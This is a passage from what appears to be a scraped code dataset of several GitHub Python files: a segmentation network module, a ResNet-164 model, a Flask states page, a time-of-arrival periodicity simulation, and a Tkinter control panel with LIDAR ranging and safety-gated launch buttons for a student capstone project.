args.out_dir)\n\n # Write params.dat file inside run point directory. This is purely to\n # record what the param_dict are at this run point\n write_param_file(param_dict, run_point_path, run_point)\n\n # Write run card template files formatted with parameter values\n write_template_files(template, param_dict, run_point,\n run_point_path, args.param_file)\n\n # Write all sampled points and their run points to a .dat file\n write_sampled_points(args.out_dir)\n","repo_name":"hsaunders1904/contur","sub_path":"AnalysisTools/contur/contur/Scanning/scan.py","file_name":"scan.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8444128579","text":"\"\"\"\"\nCode is modified based on : https://github.com/lxtGH/PFSegNets\n\"\"\"\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom Nets.SGFANet.mynn import Norm2d\nfrom Nets.ground_transformer import GroundTrans\n\n\ndef point_sample(input, point_coords, **kwargs):\n \"\"\"\n A wrapper around :function:`torch.nn.functional.grid_sample` to support 3D point_coords tensors.\n Unlike :function:`torch.nn.functional.grid_sample` it assumes `point_coords` to lie inside\n [0, 1] x [0, 1] square.\n\n Args:\n input (Tensor): A tensor of shape (N, C, H, W) that contains features map on a H x W grid.\n point_coords (Tensor): A tensor of shape (N, P, 2) or (N, Hgrid, Wgrid, 2) that contains\n [0, 1] x [0, 1] normalized point coordinates.\n\n Returns:\n output (Tensor): A tensor of shape (N, C, P) or (N, C, Hgrid, Wgrid) that contains\n features for points in `point_coords`. The features are obtained via bilinear\n interplation from `input` the same way as :function:`torch.nn.functional.grid_sample`.\n \"\"\"\n add_dim = False\n if point_coords.dim() == 3:\n add_dim = True\n point_coords = point_coords.unsqueeze(2)\n output = F.grid_sample(input, 2.0 * point_coords - 1.0, **kwargs)\n if add_dim:\n output = output.squeeze(3)\n return output\n\n\ndef get_uncertain_point_coords_on_grid(uncertainty_map, num_points):\n \"\"\"\n Find `num_points` most uncertain points from `uncertainty_map` grid.\n\n Args:\n uncertainty_map (Tensor): A tensor of shape (N, 1, H, W) that contains uncertainty\n values for a set of points on a regular H x W grid.\n num_points (int): The number of points P to select.\n\n Returns:\n point_indices (Tensor): A tensor of shape (N, P) that contains indices from\n [0, H x W) of the most uncertain points.\n point_coords (Tensor): A tensor of shape (N, P, 2) that contains [0, 1] x [0, 1] normalized\n coordinates of the most uncertain points from the H x W grid.\n \"\"\"\n R, _, H, W = uncertainty_map.shape\n h_step = 1.0 / float(H)\n w_step = 1.0 / float(W)\n\n num_points = min(H * W, num_points)\n point_indices = torch.topk(uncertainty_map.view(R, H * W), k=num_points, dim=1)[1]\n point_coords = torch.zeros(R, num_points, 2, dtype=torch.float, device=uncertainty_map.device)\n point_coords[:, :, 0] = w_step / 2.0 + (point_indices % W).to(torch.float) * w_step\n point_coords[:, :, 1] = h_step / 2.0 + (point_indices // W).to(torch.float) * h_step\n return point_indices, point_coords\n\n\nclass PointFlowModuleWithCornerEdgeSampling(nn.Module):\n def __init__(self, in_planes, dim=64, matcher_kernel_size=3,\n edge_points=32, corner_points=32, gated=False, gt_tag=True):\n super(PointFlowModuleWithCornerEdgeSampling, self).__init__()\n self.dim = dim\n self.down_h = nn.Conv2d(in_planes, dim, 1)\n self.down_l = nn.Conv2d(in_planes, dim, 1)\n self.softmax = nn.Softmax(dim=-1)\n self.edge_points = edge_points\n self.corner_points = corner_points\n self.gated = gated\n self.gt_tag = gt_tag\n if self.gt_tag:\n self.gt = GroundTrans(in_channels=in_planes, dimension=2)\n print(\"Ground Transformer\")\n print(f\"edge points:{self.edge_points},corner points:{self.corner_points}\")\n if self.gated:\n print(\"weight gate is added\")\n self.channel_gate = nn.Sequential(nn.Linear(in_planes, in_planes), nn.Dropout(0.1), nn.ReLU(),\n nn.Linear(in_planes, in_planes), nn.Sigmoid())\n self.feature_inportance = nn.Sequential(nn.Linear(in_planes, in_planes), nn.Dropout(0.1), nn.ReLU(),\n nn.Linear(in_planes, 1), nn.Sigmoid())\n self.edge_final = nn.Sequential(\n nn.Conv2d(in_channels=in_planes, out_channels=in_planes, kernel_size=3, padding=1, bias=False),\n Norm2d(in_planes),\n nn.ReLU(),\n nn.Conv2d(in_channels=in_planes, out_channels=1, kernel_size=3, padding=1, bias=False)\n )\n self.corner_final = nn.Sequential(\n nn.Conv2d(in_channels=in_planes, out_channels=in_planes, kernel_size=3, padding=1, bias=False),\n Norm2d(in_planes),\n nn.ReLU(),\n nn.Conv2d(in_channels=in_planes, out_channels=1, kernel_size=1, bias=False)\n )\n\n def forward(self, x):\n\n x_high, x_low = x # 8,8 16,16\n\n stride_ratio = x_low.shape[2] / x_high.shape[2]\n N, C, H, W = x_low.shape\n N_h, C_h, H_h, W_h = x_high.shape\n\n # edge part\n x_high_edge = x_high\n edge_pred = self.edge_final(x_high_edge)\n point_indices, point_coords = get_uncertain_point_coords_on_grid(edge_pred,\n num_points=self.edge_points) # torch.Size([2, K, 2])\n sample_x = point_indices % W_h * stride_ratio\n sample_y = point_indices // W_h * stride_ratio\n low_edge_indices = sample_x + sample_y * W\n low_edge_indices = low_edge_indices.unsqueeze(1).expand(-1, C, -1).long()\n high_edge_feat = point_sample(x_high, point_coords) # torch.Size([2, 256, K])\n low_edge_feat = point_sample(x_low, point_coords)\n if self.gated:\n high_edge_feat = self.channel_gate(high_edge_feat.permute(0, 2, 1)) * high_edge_feat.permute(0, 2, 1)\n high_edge_feat = high_edge_feat.permute(0, 2, 1)\n low_edge_feat = self.channel_gate(low_edge_feat.permute(0, 2, 1)) * low_edge_feat.permute(0, 2, 1)\n low_edge_feat = low_edge_feat.permute(0, 2, 1)\n affinity_edge = torch.bmm(high_edge_feat.transpose(2, 1), low_edge_feat).transpose(2, 1)\n affinity = self.softmax(affinity_edge)\n high_edge_feat = torch.bmm(affinity, high_edge_feat.transpose(2, 1)).transpose(2, 1)\n if self.gated:\n f_i = self.feature_inportance(high_edge_feat.permute(0, 2, 1))\n f_i = f_i.permute(0, 2, 1)\n fusion_edge_feat = f_i * high_edge_feat + (1 - f_i) * low_edge_feat\n else:\n fusion_edge_feat = high_edge_feat + low_edge_feat\n\n # corner part\n x_high_corner = x_high\n corner_pred = self.corner_final(x_high_corner)\n corner_point_indices, corner_point_coords = get_uncertain_point_coords_on_grid(corner_pred,\n num_points=self.corner_points)\n corner_sample_x = corner_point_indices % W_h * stride_ratio\n corner_sample_y = corner_point_indices // W_h * stride_ratio\n low_corner_indices = corner_sample_x + corner_sample_y * W\n low_corner_indices = low_corner_indices.unsqueeze(1).expand(-1, C, -1).long()\n high_corner_feat = point_sample(x_high, corner_point_coords)\n low_corner_feat = point_sample(x_low, corner_point_coords)\n if self.gated:\n high_corner_feat = self.channel_gate(high_corner_feat.permute(0, 2, 1)) * high_corner_feat.permute(0, 2, 1)\n high_corner_feat = high_corner_feat.permute(0, 2, 1)\n low_corner_feat = self.channel_gate(low_corner_feat.permute(0, 2, 1)) * low_corner_feat.permute(0, 2, 1)\n low_corner_feat = low_corner_feat.permute(0, 2, 1)\n affinity_corner = torch.bmm(high_corner_feat.transpose(2, 1), low_corner_feat).transpose(2, 1)\n affinity_corner = self.softmax(affinity_corner)\n high_corner_feat = torch.bmm(affinity_corner, high_corner_feat.transpose(2, 1)).transpose(2, 1)\n if self.gated:\n f_i_c = self.feature_inportance(high_corner_feat.permute(0, 2, 1))\n f_i_c = f_i_c.permute(0, 2, 1)\n fusion_corner_feat = f_i_c * high_corner_feat + (1 - f_i_c) * low_corner_feat\n else:\n fusion_corner_feat = high_corner_feat + low_corner_feat\n\n # GT Part\n if self.gt_tag == True:\n x_low = self.gt(x_low, x_high)\n\n final_features = x_low.reshape(N, C, H * W).scatter(2, low_edge_indices, fusion_edge_feat) # edge\n final_features = final_features.scatter(2, low_corner_indices, fusion_corner_feat) # corner\n final_features = final_features.view(N, C, H, W) #\n return final_features, edge_pred, corner_pred\n # end\n","repo_name":"zpl99/SGFANet","sub_path":"Nets/SGFANet/point_flow.py","file_name":"point_flow.py","file_ext":"py","file_size_in_byte":8407,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"70914035610","text":"#!/usr/bin/python3\n\"\"\"Flask web application\nMust be listening on 0.0.0.0, port 5000\n\"\"\"\nfrom models import storage\nfrom flask import Flask\nfrom flask import render_template\n\napp = Flask(__name__)\n\n\n@app.route(\"/states\", strict_slashes=False)\ndef states():\n \"\"\"Displays list of all State on HTML page\n \"\"\"\n states = storage.all(\"State\")\n return render_template(\"9-states.html\", state=states)\n\n\n@app.route(\"/states/\", strict_slashes=False)\ndef states_id(id):\n \"\"\"Displays a State with a given id on HTML page\"\"\"\n for state in storage.all(\"State\").values():\n if state.id == id:\n return render_template(\"9-states.html\", state=state)\n return render_template(\"9-states.html\")\n\n\n@app.teardown_appcontext\ndef teardown(exc):\n \"\"\"Remove current SQLAlchemy session\"\"\"\n storage.close()\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\")\n","repo_name":"mesihg/AirBnB_clone_v2","sub_path":"web_flask/9-states.py","file_name":"9-states.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15698421047","text":"from models.select_channels import ChannelSelection\nimport torch.nn as nn\nimport torch\nimport math\n\n\n# [conv1in, conv1out=conv2in, conv2out=conv3in] (conv3out=planes*expansion)\n# cfg the channels after bn\ndefaultcfg = [[16, 16, 16], [64, 16, 16]*(18-1), [64, 32, 32], [128, 32, 32]*(18-1), [128, 64, 64],\n [256, 64, 64]*(18-1), [256]]\n\n__all__ = ['resnet164']\n\n\nclass Bottleneck(nn.Module):\n expansion = 4\n\n def __init__(self, inplanes, planes, cfg, stride):\n super(Bottleneck, self).__init__()\n self.expansion = Bottleneck.expansion\n\n self.bn1 = nn.BatchNorm2d(inplanes)\n self.select = ChannelSelection(inplanes)\n self.conv1 = nn.Conv2d(cfg[0], cfg[1], kernel_size=1, stride=1, bias=False)\n\n self.bn2 = nn.BatchNorm2d(cfg[1])\n self.conv2 = nn.Conv2d(cfg[1], cfg[2], kernel_size=3, stride=stride, padding=1, bias=False)\n\n self.bn3 = nn.BatchNorm2d(cfg[2])\n self.conv3 = nn.Conv2d(cfg[2], planes * self.expansion, kernel_size=1, stride=1, bias=False)\n\n self.relu = nn.ReLU(inplace=True)\n self.downsample = nn.Identity()\n if stride != 1 or inplanes != planes * self.expansion:\n self.downsample = nn.Conv2d(inplanes, planes * self.expansion, kernel_size=1, stride=stride, bias=False)\n\n def forward(self, x):\n residual = self.downsample(x)\n\n out = self.bn1(x)\n out = self.select(out)\n out = self.relu(out)\n out = self.conv1(out)\n\n out = self.bn2(out)\n out = self.relu(out)\n out = self.conv2(out)\n\n out = self.bn3(out)\n out = self.relu(out)\n out = self.conv3(out)\n\n out += residual\n return out\n\n\nclass ResNet(nn.Module):\n def __init__(self, num_class, cfg=None):\n super(ResNet, self).__init__()\n self.inplanes = 16\n if cfg is None:\n cfg = [item for sublist in defaultcfg for item in sublist]\n\n self.conv1 = nn.Conv2d(3, 16, 3, 1, 1, bias=False)\n self.stage1 = self.make_layers(Bottleneck, 16, 18, cfg[0: 18 * 3], 1)\n self.stage2 = self.make_layers(Bottleneck, 32, 18, cfg[18 * 3: 2 * 18 * 3], 2)\n self.stage3 = self.make_layers(Bottleneck, 64, 18, cfg[2 * 18 * 3: 3 * 18 * 3], 2)\n self.bn = nn.BatchNorm2d(64 * Bottleneck.expansion)\n self.select = ChannelSelection(64 * Bottleneck.expansion)\n self.relu = nn.ReLU(inplace=True)\n self.avgpool = nn.AdaptiveAvgPool2d(1)\n self.fc = nn.Linear(cfg[-1], num_class)\n self._init_weights()\n\n def make_layers(self, Block, planes, blocks, cfg, stride):\n layers = []\n layers += [Block(self.inplanes, planes, cfg[0: 3], stride)]\n self.inplanes = planes * Block.expansion\n for i in range(1, blocks):\n layers += [Block(self.inplanes, planes, cfg[i * 3: i * 3 + 3], 1)]\n\n return nn.Sequential(*layers)\n\n def _init_weights(self):\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n m.weight.data.normal_(0, math.sqrt(2.0 / n))\n if m.bias is not None:\n m.bias.data.zero_()\n elif isinstance(m, nn.BatchNorm2d):\n m.weight.data.fill_(0.5)\n m.bias.data.zero_()\n elif isinstance(m, nn.Linear):\n m.bias.data.zero_()\n m.weight.data.normal_(0, 0.01)\n\n def forward(self, x):\n out = self.conv1(x)\n\n out = self.stage1(out)\n out = self.stage2(out)\n out = self.stage3(out)\n\n out = self.bn(out)\n out = self.select(out)\n out = self.relu(out)\n\n out = self.avgpool(out)\n out = out.view(out.size(0), -1)\n out = self.fc(out)\n\n return out\n\n\ndef resnet164(cfg=None, num_class=100):\n return ResNet(num_class, cfg)\n\n\n# net = resnet164()\n# x = torch.rand(1, 3, 32, 32)\n# y = net(x)\n# print(y.shape)\n# for m in net.stage1[0].modules():\n# print(m)\n# print(net.stage1[0])\n\n","repo_name":"EstherBear/implementation-of-network-slimming","sub_path":"models/resnet.py","file_name":"resnet.py","file_ext":"py","file_size_in_byte":4051,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"32"} +{"seq_id":"31517805329","text":"\"\"\"Time of Arrival Analysis.\"\"\"\n\nimport logging\nimport random\nimport warnings\nfrom pathlib import Path\nfrom typing import List\n\nimport numpy as np\nfrom numba import jit\nfrom numba.core.errors import NumbaPendingDeprecationWarning\nfrom tqdm import tqdm\n\nLOG_FORMAT: str = \"[%(asctime)s] %(levelname)s \"\nLOG_FORMAT += \"%(module)s::%(funcName)s():l%(lineno)d: \"\nLOG_FORMAT += \"%(message)s\"\nlogging.basicConfig(format=LOG_FORMAT, level=logging.ERROR)\nlog = logging.getLogger(__name__)\n# Supress deprecation messages\nwarnings.filterwarnings(action=\"ignore\", category=DeprecationWarning)\nwarnings.filterwarnings(action=\"ignore\", category=NumbaPendingDeprecationWarning)\nwarnings.filterwarnings(action=\"ignore\", category=UserWarning)\n\nFACTORIAL_LOOKUP_TABLE = np.array(\n [\n 1,\n 1,\n 2,\n 6,\n 24,\n 120,\n 720,\n 5040,\n 40320,\n 362880,\n 3628800,\n 39916800,\n 479001600,\n 6227020800,\n 87178291200,\n 1307674368000,\n 20922789888000,\n 355687428096000,\n 6402373705728000,\n 121645100408832000,\n 2432902008176640000,\n ],\n dtype=\"int64\",\n)\n\n\ndef frequency_grid(\n resolution: float = 0.00786432,\n samples: float = 536.0,\n oversample: int = 5,\n) -> np.ndarray:\n \"\"\"\n Generate frequency grid.\n\n Parameters\n ----------\n resolution : float, optional\n [description], by default 0.00786432\n samples : float, optional\n [description], by default 536.0\n oversample : int, optional\n [description], by default 5\n\n Returns\n -------\n np.ndarray\n [description]\n \"\"\"\n spacing = 1.0 / (samples * resolution)\n nyquist = 0.5 * (1.0 / resolution)\n return np.arange(\n spacing,\n nyquist + (spacing / oversample),\n (spacing / oversample),\n )\n\n\n@jit(nopython=True)\ndef parameters(\n arrivals: List[float],\n chi: float,\n simulations: int = int(1e6),\n):\n \"\"\"\n Calculate the parameters for the workload .\n\n Parameters\n ----------\n arrivals : List[float]\n [description]\n chi : float\n [description]\n processors : int\n [description]\n simulations : int, optional\n [description], by default int(1e6)\n\n Returns\n -------\n [type]\n [description]\n \"\"\"\n # Convert\n toas = np.array(arrivals) * 0.001\n # np.empty is ~100x faster than np.zeros\n errors = np.zeros(len(toas)) * 0.001\n differences = np.zeros(len(toas) - 1)\n\n for index in np.arange(0, len(toas) - 1, 1):\n differences[index] = toas[index + 1] - toas[index]\n\n minimum = chi * differences.mean()\n maximum = (2.0 - chi) * differences.mean()\n return toas, errors, differences, minimum, maximum\n\n\n@jit(nopython=True)\ndef z2search(toas: np.ndarray, errors: np.ndarray, grid: np.ndarray) -> np.ndarray:\n \"\"\"\n Lightcurve search.\n\n Parameters\n ----------\n toas : np.ndarray\n [description]\n errors : np.ndarray\n [description]\n grid : np.ndarray\n [description]\n\n Returns\n -------\n np.ndarray\n [description]\n \"\"\"\n z1 = np.zeros(grid.size, dtype=np.float64)\n for index in np.arange(0, len(grid), 1):\n phase = pulse_phase(toas, grid[index])\n z1[index] = z_n(phase, n=1)\n return z1\n\n\n@jit(nopython=True)\ndef pulse_phase(times, *frequency_derivatives):\n \"\"\"\n Calculate pulse phase from the frequency and its derivatives.\n\n Parameters\n ----------\n times : array of floats\n The times at which the phase is calculated\n *frequency_derivatives: floats\n List of derivatives in increasing order, starting from zero.\n\n Returns\n -------\n phases : array of floats\n The absolute pulse phase\n \"\"\"\n phase = np.zeros(len(times))\n for i_f, f in enumerate(frequency_derivatives):\n factorial = fast_factorial(i_f + 1)\n phase += 1 / factorial * times ** (i_f + 1) * f\n phase -= np.floor(phase)\n return phase\n\n\n@jit(nopython=True)\ndef fast_factorial(value: np.int64) -> np.int64:\n \"\"\"\n Factorial.\n\n Parameters\n ----------\n value : np.int64\n Some integer value.\n\n Returns\n -------\n np.int64\n\n Raises\n ------\n ValueError\n When value > 20.\n \"\"\"\n if value > 20:\n raise ValueError(\"fast_factorial for n>20, not supported.\")\n return FACTORIAL_LOOKUP_TABLE[value]\n\n\n@jit(nopython=True)\ndef z_n(phase: np.ndarray, n: int = 2, norm: float = 1.0):\n \"\"\"Z^2_n statistics, a` la Buccheri+03, A&A, 128, 245, eq. 2.\n\n Parameters\n ----------\n phase : array of floats\n The phases of the events\n n : int, default 2\n Number of harmonics, including the fundamental\n norm : float or array of floats\n A normalization factor that gets multiplied as a weight.\n\n Returns\n -------\n z2_n : float\n The Z^2_n statistics of the events.\n \"\"\"\n nbin = len(phase)\n if nbin == 0:\n return 0\n normalization = np.array(norm)\n if normalization.size == 1:\n total_norm = nbin * normalization\n else:\n total_norm = np.sum(normalization)\n phase = phase * 2 * np.pi\n return 2.0 / total_norm * statistic(n, phase, normalization)\n\n\n@jit(nopython=True)\ndef statistic(n, phase, norm):\n \"\"\"Calculate Z^2 Statistic.\"\"\"\n stat = np.zeros(n + 1, dtype=np.float64)\n for k in range(1, n + 1):\n stat[k - 1] = (\n np.sum(np.cos(k * phase) * norm) ** 2\n + np.sum(np.sin(k * phase) * norm) ** 2\n )\n return np.sum(stat)\n\n\n@jit(nopython=True)\ndef simulate(simulations: int, differences: np.ndarray, minimum: int, maximum: int):\n \"\"\"\n Generate simulated observations.\n\n Parameters\n ----------\n simulations : int\n [description]\n differences : np.ndarray\n [description]\n minimum : int\n [description]\n maximum : int\n [description]\n\n Returns\n -------\n [type]\n [description]\n \"\"\"\n differences_mc = np.zeros((int(simulations), len(differences)))\n toas_mc = np.zeros((int(simulations), len(differences) + 1))\n errors_mc = np.zeros((int(simulations), len(differences) + 1))\n\n for index in np.arange(0, int(simulations), 1):\n differences_mc[index] = np.random.uniform(minimum, maximum, len(differences))\n\n for index in np.arange(0, len(differences_mc), 1):\n toas_mc[index, 1:] = np.cumsum(differences_mc[index, :])\n\n return differences_mc, toas_mc, errors_mc\n\n\ndef save(data: np.ndarray, savepath: Path) -> None:\n \"\"\"\n Save np.ndarray.\n\n Parameters\n ----------\n data : np.ndarray\n savepath : Path\n \"\"\"\n filename = savepath.absolute().as_posix()\n np.savez(filename, max_z12_power=data)\n savepath.chmod(0o100666)\n\n\ndef execute(\n arrivals: List[float],\n chi: float,\n simulations: int,\n savepath: Path,\n debug: bool = False,\n) -> None:\n \"\"\"\n Run the simulation .\n\n Parameters\n ----------\n arrivals : List[float]\n [description]\n chi : float\n [description]\n processors : int\n [description]\n simulations : int\n [description]\n savepath: str\n [description]\n \"\"\"\n if debug:\n log.setLevel(logging.DEBUG)\n log.debug(\"Job Recieved: ✔️\")\n np.random.seed(random.SystemRandom().randint(0, 2147483647))\n log.debug(\"Random Seed : ✔️\")\n grid = frequency_grid()\n log.debug(\"Frequency Grid: ✔️\")\n toas, errors, differences, minimum, maximum = parameters(\n arrivals=arrivals,\n chi=chi,\n simulations=simulations,\n )\n log.debug(\"Parameters: ✔️\")\n differences_mc, toas_mc, errors_mc = simulate(\n simulations, differences, minimum, maximum\n )\n log.debug(\"Dataset: ✔️\")\n max_z12_power = np.zeros(len(toas_mc))\n\n for index in tqdm(\n np.arange(0, len(toas_mc), 1),\n ascii=True,\n desc=\"simulating\",\n leave=True,\n ):\n toa = toas_mc[index]\n error = errors_mc[index]\n z1 = z2search(toa, error, grid)\n max_index = np.argmax(z1)\n max_period = 1.0 / grid[max_index] # noqa: F841\n max_z12_power[index] = z1[max_index]\n log.debug(\"Simulations: ✔️\")\n save(max_z12_power, savepath)\n log.debug(\"Save: ✔️\")\n","repo_name":"CHIMEFRB/subpulse","sub_path":"subpulse/analysis/toa.py","file_name":"toa.py","file_ext":"py","file_size_in_byte":8302,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"5419705174","text":"# This is version 2 of the Control GUI for my Capstone project.\r\n# It includes a safety system for the fire control, an elevation indicator,\r\n# and the potential for linking to another camera to read the pressure gage.\r\n\r\n# OPERATIONAL NOTES:\r\n# The fire button only enables when all three checkboxes are checked, providing a triple-redundant safety.\r\n# The cinch button only enables after the fire button has been pressed.\r\n# The drag deploy button only enables after the cinch button has been pressed.\r\n\r\n# SPECIAL NOTE: If the fire, cinch, or drag buttons break, add a global definition directly above its first use inside a function.\r\n\r\nfrom __future__ import division # servo\r\nimport Tkinter as tk # GUI\r\nimport cv2 # Pressure Gage\r\nfrom PIL import Image, ImageTk # Pressure Gage\r\nimport time # servo and LIDAR\r\nimport math # servo\r\nimport Adafruit_PCA9685 # servo\r\nimport smbus # LIDAR\r\n\r\n# Some LIDAR initializers\r\nbus=smbus.SMBus(1)\r\naddr=0x62\r\n\r\n##import tkMessageBox as mb # This is just so that there is a dialog box that pops up to confirm the fire.\r\n\r\nroot = tk.Tk() # initialize the window.\r\nroot.geometry('590x420') # Sets the default window size\r\nroot.title(\"Control GUI\")\r\n\r\n# ****************************************************************************\r\n# This section contains the elevation indicator.\r\nelevationLabel = tk.Label(root, text = \"Elevation (deg):\", font = 20)\r\nelevationValue = tk.DoubleVar() # this holds the actual elevation value\r\neleValOut = tk.Label(root, text = \"0.0\", font = 20) # The specific label for displaying the elevation.\r\n\r\ndef getElevation(elevation): # a function for changing the elevation value.\r\n elevationValue.set(elevation)\r\n\r\ndef updateEle(root, *args): # called when the elevation value is changed.\r\n eleValOut.config(text = elevationValue.get())\r\n\r\nelevationValue.trace(\"w\", updateEle)\r\n\r\nelevationLabel.grid(row=0, column=0)\r\neleValOut.grid(row=0, column=1)\r\n\r\n# ****************************************************************************\r\n# This section contains the rotation indicator.\r\nrotationLabel = tk.Label(root, text = \"Rotation (deg):\", font = 20)\r\nrotationValue = tk.DoubleVar() # this holds the actual rotation value\r\nrotValOut = tk.Label(root, text = \"0.0\", font = 20) # The specific label for displaying the rotation.\r\n\r\ndef getRotation(rotation): # a function for changing the rotation value.\r\n rotationValue.set(rotation)\r\n\r\ndef updateRot(root, *args): # called when the rotation value is changed.\r\n rotValOut.config(text = rotationValue.get())\r\n\r\nrotationValue.trace(\"w\", updateRot)\r\n\r\nrotationLabel.grid(row=1, column=0)\r\nrotValOut.grid(row=1, column=1)\r\n\r\n# ****************************************************************************\r\n# This section contains the range indicator.\r\nrangeLabel = tk.Label(root, text = \"Distance to Target:\", font = 20)\r\nrangeValue = tk.DoubleVar() # this holds the actual range value\r\nranValOut = tk.Label(root, text = \"0.0\", font = 20) # The specific label for displaying the range.\r\n\r\ndef getRange(dist): # a function for changing the range value.\r\n rangeValue.set(dist)\r\n\r\ndef updateRan(root, *args): # called when the range value is changed.\r\n ranValOut.config(text = rangeValue.get())\r\n\r\ndef rangeFind(): # This section is the LIDAR code\r\n t_end = time.time() + 5\r\n while time.time() < t_end:\r\n bus.write_byte_data(0x62,0x00, 0x04) \r\n val_high=bus.read_byte_data(0x62,0x0f) \r\n val_low=bus.read_byte_data(0x62,0x10) \r\n dist_cm=val_high*256+val_low\r\n dist_ft=dist_cm*0.0328084\r\n getRange(dist_ft)\r\n #print `dist_ft` + \" ft \"\r\n time.sleep(0.05)\r\n\r\nrangeValue.trace(\"w\", updateRan)\r\n\r\nuRanButton = tk.Button(root, text='Update Range', command=rangeFind)\r\n\r\nrangeLabel.grid(row=2, column=0)\r\nranValOut.grid(row=2, column=1)\r\nuRanButton.grid(row=2, column=2)\r\n\r\n# ****************************************************************************\r\n# This section contains the video for reading the pressure gage. It is purely optional.\r\n##picW = 320\r\n##picH = 214\r\n##ImageFrame=tk.Frame(root,width=picW,height=picH)\r\n##lmain=tk.Label(ImageFrame)\r\n##gageLabel = tk.Label(root, text = \"Pressure Gage:\", font = 20)\r\n##\r\n##cap=cv2.VideoCapture(0) # sets the camera\r\n##\r\n##def getVideo():\r\n## _,frame = cap.read()\r\n## hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2RGBA)\r\n## hsv = cv2.resize(hsv, (picW, picH), interpolation=cv2.INTER_AREA)\r\n## img=Image.fromarray(hsv)\r\n## imgtk=ImageTk.PhotoImage(image=img)\r\n## lmain.imgtk=imgtk\r\n## lmain.configure(image=imgtk)\r\n## lmain.after(10,getVideo)\r\n## \r\n##getVideo() # This actually uses the camera to capture images. You may delete it.\r\n##gageLabel.grid(row=3, column=0)\r\n##ImageFrame.grid(row=3, column=1) # keep these locations the same.\r\n##lmain.grid(row=3, column=1) # keep these locations the same.\r\n\r\n# ****************************************************************************\r\n# This section contains the fire control and safety system.\r\n# these are the variables controlled by the checkboxes.\r\nflag1 = tk.BooleanVar()\r\nflag2 = tk.BooleanVar()\r\nflag3 = tk.BooleanVar()\r\nfireState = tk.BooleanVar(value=False)\r\n\r\ndef fire():\r\n # Insert whatever code we want here. It could just be a print statement.\r\n #mb.showinfo('FIRE', 'BOOM')\r\n print(\"BOOM\")\r\n fireState.set(True)\r\n\r\nfireButton = tk.Button(root, state=tk.DISABLED, text='Fire', command=fire) # sets the fire button to disabled by default.\r\n \r\ndef safetySys(root, *args): # The parameters of this function are automatically generated by the trace call.\r\n if all([flag1.get(), flag2.get(), flag3.get()]): # If all 3 checkboxes are checked, enable the fire button.\r\n fireButton.config(state=tk.NORMAL)\r\n else: # If not, disable the fire button for safety.\r\n fireButton.config(state=tk.DISABLED)\r\n\r\n# The locations of the safety boxes and fire button \r\ntk.Checkbutton(root, variable=flag1).grid(row=4, column=0)\r\ntk.Checkbutton(root, variable=flag2).grid(row=4, column=1)\r\ntk.Checkbutton(root, variable=flag3).grid(row=4, column=2)\r\nfireButton.grid(row=5, column=1)\r\n\r\n# These lines watch for a change in the variables controlled by the checkboxes.\r\nflag1.trace(\"w\", safetySys)\r\nflag2.trace(\"w\", safetySys)\r\nflag3.trace(\"w\", safetySys)\r\n\r\n# ****************************************************************************\r\n# This section contains the cinch control\r\ncinchState = tk.BooleanVar(value=False)\r\ndef cinch():\r\n # Insert whatever code we want/need here.\r\n #mb.showinfo('CINCH', 'WHIRRRRRRRR')\r\n print(\"WHIRRRRRRRRR\")\r\n fireState.set(False)\r\n cinchState.set(True)\r\n\r\ncinchButton = tk.Button(root, state=tk.DISABLED, text='Cinch', command=cinch) # sets the cinch button to disabled by default\r\n\r\ndef enableCinch(root, *args): # if the fire button has been pressed, enable the cinch button.\r\n if fireState.get():\r\n cinchButton.config(state=tk.NORMAL) # enables the cinch button.\r\n else:\r\n cinchButton.config(state=tk.DISABLED)\r\n\r\nfireState.trace(\"w\", enableCinch) # when the fireState variable changes, check if you should enable the cinch button.\r\n\r\ncinchButton.grid(row=6, column=1)\r\n\r\n# ****************************************************************************\r\n# This section contains the drag device control\r\ndef dragDeploy():\r\n # Insert whatever code we want/need here.\r\n #mb.showinfo('Deploy Confirm', 'Junk Deorbiting')\r\n print(\"Junk Deorbiting\")\r\n\r\ndragButton = tk.Button(root, state=tk.DISABLED, text='Drag Device', command=dragDeploy) # sets the drag button to disabled by default\r\n\r\ndef enableDrag(root, *args): # if the cinch button has been pressed, enable the drag device button\r\n dragButton.config(state=tk.NORMAL) # enables the drag button.\r\n\r\ncinchState.trace(\"w\", enableDrag) # when the cinchState variable changes, check if you should enable the drag button.\r\n\r\ndragButton.grid(row=7, column=1)\r\n\r\n# ****************************************************************************\r\n### debug window. Manually change elevation and rotation.\r\n##dew = tk.Toplevel() # define an entirely seperate window for the entries\r\n##dew.geometry('320x75')\r\n##dew.title(\"Debug Window\")\r\n##deELab = tk.Label(dew, text = \"Enter Elevation:\", font = 20) # the labels\r\n##deRLab = tk.Label(dew, text = \"Enter Rotation:\", font = 20)\r\n##deRgLab = tk.Label(dew, text = \"Enter Range:\", font = 20)\r\n##\r\n##elevationEntry = tk.Entry(dew) # the entry fields\r\n##rotationEntry = tk.Entry(dew)\r\n##rangeEntry = tk.Entry(dew)\r\n##\r\n##def passEle(event):\r\n## getElevation(elevationEntry.get()) # get the value in the field and pass it to the get function.\r\n##\r\n##def passRot(event):\r\n## getRotation(rotationEntry.get()) # get the value in the field and pass it to the get function.\r\n## \r\n##def passRan(event):\r\n## getRange(rangeEntry.get()) # get the value in the field and pass it to the get function.\r\n##\r\n##elevationEntry.bind(\"\", passEle) # get the number in the entry field when enter is pressed.\r\n##rotationEntry.bind(\"\", passRot) # get the number in the entry field when enter is pressed.\r\n##rangeEntry.bind(\"\", passRan)\r\n##\r\n##deELab.grid(row=0, column=0)\r\n##elevationEntry.grid(row=0, column=1)\r\n##deRLab.grid(row=1, column=0)\r\n##rotationEntry.grid(row=1, column=1)\r\n##deRgLab.grid(row=2, column=0)\r\n##rangeEntry.grid(row=2, column=1)\r\n\r\n# ****************************************************************************\r\n# This section is for the motor 